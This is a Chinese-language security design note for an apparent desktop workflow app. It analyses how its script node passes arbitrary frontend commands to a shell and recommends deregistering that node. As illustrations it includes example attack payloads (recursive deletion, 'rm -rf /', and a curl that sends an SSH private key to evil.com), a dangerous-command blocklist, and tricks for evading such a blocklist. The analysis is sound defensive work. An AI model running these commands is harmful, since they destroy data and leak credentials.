- docs/02 架构设计: 新增 aichat审查/异步审批构想/流式渲染调研/generating状态机/密钥迁移健壮性/工作流脚本执行边界/条件表达式引擎/F-07 trait下沉/Agent架构说明/任务推进构想/功能创意池;更新功能决策记录+归档/对抗论证/文档记录规范/经验记录
- docs/03 模块文档: 新增 AI对话引擎/DAG引擎详解;更新 df-knowledge/df-nodes/df-storage/df-workflow/df-ai
- docs/05 代码审查: 新增 全栈审查/全局review/架构审查/近期改动审查/工作区多角度走查/自研memo流式渲染审查
- docs/09 问题排查: 新增 aichat-apikey-401
- docs/INDEX+README 索引同步;docs/todo 待办看板(2026-06-15 汇总)
- PROGRESS.md Sprint 22-25;URGENT.md 加急清单快照(5 项 P0 已全修)
- scripts/cleanup_orphan_tasks.{py,sh} 孤儿任务清理工具
- .gitignore 补 *.broken.bak + tmp/ 噪音排除
17 KiB
工作流脚本执行边界设计(R-PD-2)
来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2 日期:2026-06-15 状态:设计待核对(推荐方案已定,落地前需用户确认力度)
一、问题:run_workflow IPC 经 ScriptNode 执行前端任意 shell(security P1)
1.1 攻击面分析(前端 IPC → 任意 shell 的完整路径)
前端 runWorkflow(name, dag, config)
└─ invoke('run_workflow', { name, dag: DagDef, config }) ← IPC 边界,dag 为前端任意构造的 serde JSON
└─ src-tauri/commands/workflow.rs:36 run_workflow
├─ state.registry.build_dag(&dag) ← 仅校验节点类型已注册 + 边两端存在
└─ DagExecutor::new(...).run(&runtime_dag, config) ← 异步后台执行
└─ ScriptNode::execute(ctx) [crates/df-nodes/script_node.rs:11]
├─ command = ctx.config["command"] ← 原始字符串,无校验
└─ ShellRequest { command, working_dir, .. }
└─ df_execute::shell::execute [crates/df-execute/shell.rs:34]
├─ Windows: cmd /C <command>
└─ Unix: sh -c <command> ← 全 shell 解释器,含管道/重定向/通配
前端可提交任意 DagDef:
// 等价攻击载荷(任一)
{ nodes: { x: { node_type: 'script', config: { command: 'del /S /Q C:\\*' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'curl evil.com/exfil?d=$(cat ~/.ssh/id_rsa)' } } }, edges: [] }
{ nodes: { x: { node_type: 'script', config: { command: 'rm -rf /', working_dir: '/' } } }, edges: [] }
build_dag(crates/df-workflow/registry.rs:42)只做两类校验:
node_type已注册("script"/"human"/"ai")——攻击者用合法的 "script"- 边的 source/target 节点存在——单节点 DAG 无边,零约束通过
对 config.command / config.working_dir 无任何校验,直接落到 shell 解释器。
1.2 为何完全独立于 AI 工具 RiskLevel 审批链
DevFlow 有两条独立的「前端 → 后端可执行」通路,安全机制割裂:
| 通路 | 入口 | 风控机制 | 审批位置 |
|---|---|---|---|
| AI 工具调用(LLM 驱动) | agentic loop → AiToolRegistry |
RiskLevel::{Low, Medium, High} |
audit.rs:265-271:Medium/High 写入 AiSession.pending_approvals,前端 ToolCard 阻塞审批 |
| 工作流执行(前端直接驱动) | run_workflow IPC → DagDef |
无 | DagDef 无 RiskLevel 字段,ScriptNode 不查 pending_approvals |
关键不对称点:
- AI 工具调 shell 走
execute_command(tool_registry.rs),RiskLevel::High + 审批 - 工作流 ScriptNode 调 shell 走
df_execute::shell::execute,零风控 - 两条通路最终都落到同款
cmd /C | sh -c,但前者有闸门、后者无闸门
更隐蔽的二次风险:AI 工具 run_workflow(tool_registry.rs:383-389)本身是 RiskLevel::High 且目前是 no-op 桩(R-PD-12),LLM 即使调用也只拿到 { note: "请通过工作流页面运行" }。但 LLM 若未来引导用户提交特定 DagDef 到 run_workflow IPC(绕过 AI 工具桩),就直接触达无审批 shell。R-PD-12 把 AI 工具桩做实或删除时,本设计的边界必须先就位,否则等于给 LLM 开了一条绕过自己审批链的暗道。
二、现状
2.1 DagDef 前端构造,无后端校验
DagDef(crates/df-workflow/dag_def.rs:7-11)是纯数据结构:
pub struct DagDef {
pub nodes: HashMap<String, NodeDef>, // node_type: String, config: serde_json::Value
pub edges: Vec<EdgeDef>,
}
run_workflow(workflow.rs:36)收 dag: DagDef 参数,Tauri 反序列化后直接 build_dag。前端唯一构造点是 src/views/ProjectDetail.vue:258-268 的 demoDag:
const demoDag = {
nodes: [
{ id: 'n1', node_type: 'script', label: '环境检查', config: { command: 'echo "Environment OK"', timeout_secs: 10 } },
{ id: 'n2', node_type: 'script', label: '运行测试', config: { command: 'echo "Tests passed"', timeout_secs: 10 } },
{ id: 'n3', node_type: 'script', label: '构建产物', config: { command: 'echo "Build success"', timeout_secs: 10 } },
],
edges: [{ from: 'n1', to: 'n2' }, { from: 'n2', to: 'n3' }],
}
全仓 grep 确认:除 demoDag 外,前端无任何其他 script 节点构造点,无构建/部署/迁移脚本入口。workflow 当前为纯演示功能。
2.2 ScriptNode 无约束
crates/df-nodes/script_node.rs:11-42:从 config.command 取原始串,原样塞 ShellRequest.command,working_dir 也原样透传。无白名单、无路径锚定、无审批查询。
2.3 shell 解释器全权委托
crates/df-execute/shell.rs:37-45:cmd /C <command> / sh -c <command>,命令字符串经完整 shell 解释器(管道、重定向、变量展开、通配、命令分隔符全开)。R-P1-2 已修 kill_on_drop(僵尸进程问题),但不影响安全边界。
三、方案三选一详析
方案 ①:build_registry 不注册 "script",掐断节点类型(最安全最小)
做法:src-tauri/src/state.rs:227-229 删除 registry.register("script", ...)。build_dag 遇到 node_type=="script" 走 registry.rs:37 的 未注册的节点类型 分支直接 bail。
四维对比:
| 维度 | 评价 |
|---|---|
| 安全性 | 最高。攻击面从「任意 shell」直接归零,无任何残留路径。无工作目录逃逸、无参数注入、无审批异步语义问题 |
| 功能性 | 演示功能报废。ProjectDetail.vue demoDag 三步 echo 全部 build_dag 失败,runDemoWorkflow 报错。HumanNode/AiNode 不受影响(仍注册) |
| 改动面 | 最小。1 处删除(state.rs:227-229 共 3 行)。可选附带:前端 demoDag 改用 "human" 节点演示,或整个 demoDag 下线 |
| 误杀风险 | 零误杀(无合法用户脚本可误杀)。但等于宣告「DevFlow 工作流不支持脚本节点」,是产品决策 |
方案 ②:限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批
做法:
- ScriptNode 执行前,校验
working_dir(默认取 NodeContext 的项目 path)必须canonicalize()后落在某已绑定项目根下(防../逃逸) - 命令前缀扫描:
del /、rm -rf、curl、wget、> /dev/、mkfs、format等命中 → 改走 HumanNode 审批流程(emitHumanApprovalRequest,复用现有approve_human_approvalIPC)
四维对比:
| 维度 | 评价 |
|---|---|
| 安全性 | 中。挡住工作目录外写、明显高危前缀。但前缀黑名单天然不完备:curl 可写成 c""url、$(curl)、cu"+"rl、PowerShell 别名 iwr;管道注入 echo x; rm -rf /;环境变量展开 $EVIL。攻击者绕过黑名单的成本远低于维护黑名单的成本 |
| 功能性 | 保留构建脚本能力(未来真要跑 npm run build / mvn package 可用),且高危操作有审批兜底 |
| 改动面 | 大。ScriptNode 加路径校验(canonicalize + starts_with)+ 黑名单扫描 + 审批注入逻辑(ScriptNode 不再是叶子执行,要会发 HumanApprovalRequest 并阻塞等 Response,复用 human_node.rs 的 select! 模式,~80 行) |
| 误杀风险 | 高且无解。合法 npm run deploy 含 "deploy" 不命中黑名单但实际可能外发;合法 git clean -fd 命中 "clean"/"rm" 语义但非删除系统文件。黑名单要么漏报、要么误杀,无优雅平衡点 |
方案 ③:ScriptNode 命令白名单 npm/git/mvn 前缀 + 参数过滤
做法:定义允许的命令前缀(npm、git、mvn、cargo、echo、node 等),命令必须以白名单前缀开头;参数层过滤 ;、&&、|、$()、反引号等 shell 元字符。
四维对比:
| 维度 | 评价 |
|---|---|
| 安全性 | 中高。比黑名单强(默认拒绝)。但「参数过滤 shell 元字符」本质上是在重新实现 shell 转义,已知是不可解问题(参数里嵌合法字符、引号配对、Unicode 同形字符均可绕过)。且白名单命令自身有副作用(git push、npm publish、cargo run -- <任意>) |
| 功能性 | 受限。只能跑白名单内的命令族,echo 演示能保,但任意 shell 管道/组合命令报废 |
| 改动面 | 中。ScriptNode 加白名单匹配(~30 行)+ 参数 sanitizer(~50 行,且 sanitizer 难写对) |
| 误杀风险 | 高。合法 npm run build && npm run test 被 && 过滤误杀;合法 `git log --grep="feat |
四、推荐方案:①(不注册 "script"),前端 demoDag 同步下线
4.1 推荐 + 理由
推荐方案 ①:删除 src-tauri/src/state.rs:227-229 的 "script" 注册,同步下线 ProjectDetail.vue 的 demoDag(或改用 "human" 节点演示审批流)。
核心取舍:DevFlow 工作流当前是纯演示功能(前端唯一构造点是三步 echo demoDag,无任何真实构建/部署/迁移脚本入口),而方案 ②③ 的安全机制(黑名单/参数过滤)本质是不完备的运行时博弈——攻击者绕过成本永远低于防御维护成本。在「无真实脚本需求」的前提下,方案 ① 用一行删除换攻击面归零,性价比远超另两方案。
触发升力的条件:若未来 DevFlow 要把工作流做成真实 CI/CD(跑项目构建/部署脚本),此时不应回头启用 ScriptNode + 加黑名单,而应新建一个独立的安全执行节点(如 BuildNode),从一开始就内建白名单 + 项目目录锚定 + 审批链复用 AI 工具 RiskLevel。换句话说,方案 ① 不是「放弃脚本能力」,而是「把脚本能力延后到真正需要时,用专门节点一次性做对」。
4.2 改动面(具体函数 + 行号)
后端(必须):
src-tauri/src/state.rs:225-237 build_registry,删除 script 注册:
// 改前
fn build_registry() -> NodeRegistry {
let mut registry = NodeRegistry::new();
registry.register("script", |_config| {
Box::new(df_nodes::script_node::ScriptNode)
});
registry.register("human", |_config| { ... });
registry.register("ai", |_config| { ... });
registry
}
// 改后
fn build_registry() -> NodeRegistry {
let mut registry = NodeRegistry::new();
// "script" 节点不注册:ScriptNode 走 cmd /C | sh -c 执行 config.command 原始串,
// 前端可构造任意 DagDef 触达无审批 shell(R-PD-2)。DevFlow 工作流当前为纯演示
// 功能(前端唯一构造点 ProjectDetail.vue demoDag 三步 echo),无真实构建/部署脚本
// 需求。需要脚本执行能力时新建独立 BuildNode(白名单 + 项目目录锚定 + 复用 AI 工具
// RiskLevel 审批链),而非回头启用 ScriptNode + 黑名单。
registry.register("human", |_config| { ... });
registry.register("ai", |_config| { ... });
registry
}
效果:run_workflow 提交含 node_type=="script" 的 DagDef 时,build_dag → registry.create 走 registry.rs:37 的 未注册的节点类型: script bail,IPC 直接返 Err,不入库、不进后台执行。
前端(必须,否则 demoDag 触发 build_dag 失败报错):
src/views/ProjectDetail.vue:258-278,二选一:
- a) 下线 demoDag:删除
demoDag常量 +runDemoWorkflow函数 + 模板中的「运行演示工作流」按钮(最干净) - b) 改 human 节点演示:demoDag 改为单节点 human 审批流(演示审批 IPC 通路),保留「工作流页面」基本展示能力
推荐 a(工作流演示能力本就单薄,移除比换内容更诚实;待真实工作流需求落地时一并重做)。
保留不删:
crates/df-nodes/script_node.rs文件保留(不删 ScriptNode 实现),只把入口掐断。理由:未来 BuildNode 可复用其df_execute::shell::execute调用骨架;现在删了未来还要重写。注释顶部加一句「当前未注册到 NodeRegistry,见 R-PD-2 设计文档」crates/df-execute/shell.rs完全保留(R-P1-2 kill_on_drop 刚修,且 BuildNode 未来要用)
4.3 改动量与风险评级
- 后端:3 行删除 + 1 段注释
- 前端:~25 行删除(demoDag + runDemoWorkflow + 按钮)
- 风险:极低。功能面仅损失演示能力(本就单薄),无真实用户脚本被误杀。build_dag 失败路径已有完善错误返回(registry.rs:37),前端 IPC 拿到 Err 正常展示。
五、风险与未决
5.1 本方案(①)的风险
| 风险 | 评估 |
|---|---|
| 演示功能报废影响产品认知 | 低。工作流本就是 Phase1 演示,且 HumanNode/AiNode 仍注册,审批流 + AI 节点链路仍可演示 |
| 未来需要脚本能力时回头启用 ScriptNode | 决策点:见 §4.1,明确「新建 BuildNode,不复活 ScriptNode」。若团队遗忘此决策直接取消注释 register("script"),安全缺口原样回归——需在本设计文档 + 经验记录双锚定 |
| ScriptNode 死代码残留引发误解 | 中。需在 script_node.rs 顶部加注释指回本文档(已在 §4.2 列入改动面) |
5.2 若选 ②③ 会引入的风险(备选方案未选理由的展开)
- 白名单/黑名单误杀合法构建命令:
npm run deploy && git push这类组合命令天然被元字符过滤误杀,开发者反复碰壁后会推动放宽规则,最终规则松到形同虚设(业界 CI 逃逸史常见) - 工作目录 canonicalize 逃逸:Windows 上
\\?\C:\短路径、符号链接、junction、UNC 路径(\\server\share)均可绕过Path::starts_with;Unix 上~/、/proc/self/root逃逸。canonicalize 只解析 symlink,不挡 mount boundary - 审批链与 workflow 异步语义结合:ScriptNode 若改走 HumanNode 审批,意味着 ScriptNode 也要发
HumanApprovalRequest+ select! 等 Response。但 ScriptNode 当前是叶子执行节点,引入审批等于把 ScriptNode 变成半 HumanNode——节点抽象边界混乱。且审批窗口期内前端 cancel_workflow_node 与 ScriptNode 内部 select! 的取消信号传递需重做(HumanNode 已踩过 TOCTOU 坑 R-P1-3,再踩一遍成本高)
六、关联
6.1 与 R-PD-12(run_workflow AI 工具 no-op 桩)的协同
R-PD-12 处理 AI 工具 run_workflow(tool_registry.rs:383-389):当前 RiskLevel::High + no-op 返 { note: "请通过工作流页面运行" },前端 prompt/audit/ToolCard 当真实能力宣传,体验断裂。
协同关系:
- 本方案(R-PD-2)先把 workflow 系统的 shell 边界封死(掐断 ScriptNode),R-PD-12 再决定 AI 工具
run_workflow的去留才安全 - 若 R-PD-12 决定「做实 run_workflow AI 工具」——LLM 可驱动用户提交 DagDef,此时 workflow 边界必须先就位(即本方案先行)
- 若 R-PD-12 决定「删除 run_workflow 假能力」——两条通路都封死,安全闭合
- 顺序约束:R-PD-2 先于 R-PD-12 落地(或同批)。反过来 R-PD-12 先做实、R-PD-2 没做,等于给 LLM 开了一条绕过自身 RiskLevel 审批链的暗道
6.2 与 shell.rs R-P1-2(kill_on_drop)的关系
R-P1-2(已修)解决的是 shell::execute 超时未 kill 子进程致僵尸/fd 泄漏(可靠性维度)。本方案 R-PD-2 解决的是「这个 shell 入口该不该被前端无审批触达」(安全维度)。
- 两者正交:R-P1-2 让被允许执行的 shell 更可靠,R-PD-2 让不该执行的 shell 根本不执行
- R-P1-2 已落地的
kill_on_drop(true) + spawn + wait_with_output在本方案后保留不变(shell.rs 完全不动,未来 BuildNode 复用) - 即使本方案掐断 ScriptNode,shell.rs 的修复仍有价值:BuildNode 未来会调它,且修复本身是独立可靠性提升
七、落地动作清单
- 后端:
src-tauri/src/state.rs:227-229删除registry.register("script", ...)+ 加决策注释 - 后端:
crates/df-nodes/script_node.rs顶部加注释「当前未注册到 NodeRegistry,见 docs/02-架构设计/工作流脚本执行边界-2026-06-15.md」 - 前端:
src/views/ProjectDetail.vue下线 demoDag + runDemoWorkflow + 模板按钮(推荐 a) - 文档:本设计文档归档到
docs/02-架构设计/ - 决策记录:补一条功能决策记录(ScriptNode 不注册的安全边界 + 未来 BuildNode 升力路径)
- todo:R-PD-12 标注「依赖 R-PD-2 先落地」
- 经验记录:黑名单/参数过滤方案为何不选(业界 CI 逃逸史 + 不完备博弈),避免未来误走回头路